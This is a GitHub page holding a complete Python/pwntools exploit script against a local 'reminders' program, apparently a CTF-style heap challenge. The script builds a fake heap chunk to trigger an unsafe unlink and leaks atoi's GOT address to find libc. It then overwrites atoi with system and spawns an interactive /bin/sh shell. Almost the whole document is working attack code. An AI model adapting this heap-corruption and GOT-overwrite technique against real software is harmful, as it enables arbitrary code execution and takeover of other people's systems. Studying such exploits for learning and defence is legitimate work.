Reminders-Heap-Exploit/exploit.py at main · Vito-Swift/Reminders-Heap-Exploit · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3.5
from pwn import *
from pwnlib import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

# path to the vulnerable executable
p = process("/home/ubuntu/files/reminders")
plib = ELF("/home/ubuntu/files/reminders")

# path to the c library to obtain system and shell address
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


# enumerate all possible functions in the executable
def show_event():
    p.recvuntil('Your choice:')
    p.sendline('1')


def add_event(size, pri, content):
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('length of event string:')
    p.sendline(str(size))
    p.recvuntil('priority of event :')
    p.sendline(str(pri))
    p.recvuntil('enter the event string:')
    p.sendline(content)


def change_event(idx, size, pri, content):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('enter the index of event:')
    p.sendline(str(idx))
    p.recvuntil('length of new event string:')
    p.sendline(str(size))
    p.recvuntil('the priority of new event:')
    p.sendline(str(pri))
    p.recvuntil('the new event string:')
    p.sendline(content)


def remove_event(idx):
    p.recvuntil('Your choice:')
    p.sendline('4')
    p.recvuntil('enter the index of event:')
    p.sendline(str(idx))


eventlist_start_address = plib.bss() + 0x20
eventlist_offset = 0x10
print("address of eventlist: ", hex(eventlist_start_address))

fakeChunk = b"a" * 8                                # dummy prev_size (8bytes)
fakeChunk += p64(0x81)                              # size (8 bytes)
fakeChunk += p64(eventlist_start_address - 0x18)    # fake FD ptr (8 bytes)
fakeChunk += p64(eventlist_start_address - 0x10)    # fake BK ptr (8 bytes)
fakeChunk += b"d" * 0x60                            # 0x60 place holder
fakeChunk += p64(0x80) + p64(0x90) + b'\x00'        # overwrite header of chunk 2
add_event(0x80, 0, 'a' * 0x80)                      # chunk 1 for take over control flow
add_event(0x80, 0, 'b' * 0x80)                      # chunk 2 for triggering unlink
add_event(0x80, 0, 'f' * 0x80)                      # chunk 3 for overwrite atoi function
change_event(0, 0xa0, 0, fakeChunk)                 # overwrite chunk2's header data
remove_event(1)                                     # unlink!!!

atoi_addr = plib.got['atoi']
set_atoi_addr = b'a' * 24 + p64(eventlist_start_address - 0x18)
set_atoi_addr += b'a' * 8 + p64(eventlist_start_address - 0x18)
set_atoi_addr += b'a' * 8 + p64(atoi_addr)
set_atoi_addr += b'\x00'
print("atoi addr: ", hex(atoi_addr))
change_event(0, 65, 0, set_atoi_addr)

show_event()
p.recvuntil('2 : ')
leak = p.recvuntil('\n', drop=True)
leak = u64(leak[:4] + b"\x00\x00\x00\x00")          # now leak equals to the address of atoi

# calculate the libc base address
libc_base = leak - libc.symbols['atoi']
print('libc base: ' + hex(libc_base))
# get system addr
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
print('system addr: ' + hex(system_addr))
print('bin sh addr: ' + hex(binsh_addr))

sys_addr = p64((system_addr) + (0x7fff << 32))
change_event(2, 7, 0, sys_addr + b'\x00')

# send /bin/sh to the input since 'atoi' has been overwrited with 'system'
p.recvuntil('Your choice:')
p.sendline("/bin/sh")
p.interactive()